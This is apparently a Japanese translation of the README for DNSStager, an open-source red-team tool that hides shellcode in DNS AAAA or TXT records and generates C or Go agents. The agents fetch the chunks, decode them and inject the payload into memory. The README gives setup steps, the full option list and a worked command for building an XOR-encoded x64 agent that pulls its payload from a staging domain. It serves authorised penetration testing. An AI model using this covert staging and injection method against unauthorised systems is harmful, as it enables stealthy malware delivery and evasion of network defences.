
DNSStagerは、DNSを使用してペイロードを隠蔽・転送するための、Pythonベースのオープンソースプロジェクトです。
DNSStagerは、悪意のあるDNSサーバーを作成し、ドメインへのDNSリクエストを処理します。ペイロードをチャンクに分割し、さまざまなアルゴリズムでエンコードした後、AAAAやTXTレコードなどの特定のレコードリクエストに対する応答としてペイロードを返します。
DNSStagerは、CまたはGoLangで書かれたカスタムエージェントを生成できます。このエージェントは一連のドメインを解決し、ペイロードを取得、デコードし、最終的に任意のテクニックに基づいてメモリにインジェクションします。
DNSStagerエージェントのコードは自由に編集でき、独自のカスタム実行テクニックを使用してビルドできます。
DNSStagerを使用する主な目的は、レッドチーム/ペネトレーションテスターがDNSを介したステルスチャネルでペイロードを配信できるようにすることです。
DNS解決オプションに基づいて、DNSStagerはペイロードをチャンクに分割し、各チャンクをサブドメインの応答として保存します。
例えば、ペイロードを取得するオプションとしてIPV6を選択した場合、DNS応答は次のようになります:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
ここで5648:31d2:6548:8b52:6048:8b52:1848:8b52はペイロードの一部です。
したがって、エージェントはいくつかのドメインを解決してペイロードを取得し、デコードして、最後にメモリにインジェクションします。
現在、DNSStagerはAAAAとTXTの2つのレコードのみをサポートしています。AAAAレコードではXORを使用してペイロードをエンコードでき、TXTレコードを選択した場合、デフォルトでbase64としてエンコードされます。
DNSStagerには以下のような主な機能があります:
IPV6レコードでペイロードを隠蔽・解決します。TXTレコードでペイロードを隠蔽・解決します。Cで書かれたピュアエージェント。GoLangで書かれたピュアエージェント。DNSStagerのPython要件は以下のコマンドでインストールできます:
pip3 install -r requirements.txt
GoLangバージョン1.16.3をインストールし、以下のGoLangパッケージもインストールしてください:
また、ming-w64を以下のコマンドでインストールしてください:
apt install mingw-w64
setup.shスクリプトが自動的にそれを行いますが、使用前に要件を再確認してください!
最新バージョンのDNSStagerを入手するには、以下のコマンドでこのリポジトリからクローンしてください:
git clone https://github.com/mhaskar/DNSStager
次に、以下のコマンドで要件をインストールします:
pip3 install -r requirements.txt
また、前述のすべての要件もインストールしてください。
これらをすべて実行したら、DNSStagerをrootとして実行し、以下の表示を確認します:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
DNSStagerを使い始めるには、まずDNS設定をセットアップしてください。ドメインへのすべてのDNSリクエストを処理するために、ドメインがDNSStagerインスタンスをNSレコードとして指すようにする必要があります。
セットアップと使用法については、こちらの詳細記事をお読みください。
また、以下のように-hスイッチを使用してオプションを確認できます:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: このオプションは、DNSリクエストを処理するメインドメインを選択するために使用します。
--prefix: サブドメインスキーマに使用するプレフィックスです。例えば、メインドメインがfakedns.liveの場合、プレフィックスとして"cdn"を指定できます。すると、生成されるドメインは以下のようなパターンになります:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveここでNは自動生成された番号で、ペイロードのチャンク数を表します。
--payload: テクニック、プログラミング言語、アーキテクチャに基づいて生成するDNSStagerペイロード「エージェント」です。
--output: DNSStager実行可能ペイロード「エージェント」を保存する出力パス。
--shellcode_path: raw/binシェルコードのパス。
--xorkey: ペイロードをエンコードするXORキー。
--sleep: 各DNSリクエスト間でN秒間スリープするために使用します。
--tcp: TCPプロトコルでDNSサーバーを起動・使用します。
利用可能なDNSStagerペイロードを確認するには、./dnsstager.py --payloadsを使用すると以下の結果が得られます:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
この例では、DNSStagerを起動し、ドメインtest.mydnsserver.live、プレフィックスcloud-srv-を使用してペイロードをIPV6として解決し、キー0x10でエンコードされたコンパイル済みx64 Cエージェントを生成します:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
そして出力は次のようになります:

そして、すべてが正常に動作しているか確認するために、cloud-srv-0.test.mydnsserver.liveにDNSクエリを送信すると次のようになります:

応答としてf642:89ee:fae2:c20a:a0a:4b5b:4b5a:585bを受信していることがわかります。これはエンコードされたペイロードの最初の16バイトです。
その後、ターゲットマシンでエージェント/tmp/a2.exe(コマンドラインで--outputを使って設定したもの)を実行すると、必要なすべてのチャンクをダウンロードし、デコードし、メモリにインジェクションします。
このプロジェクトはGPL-3.0ライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。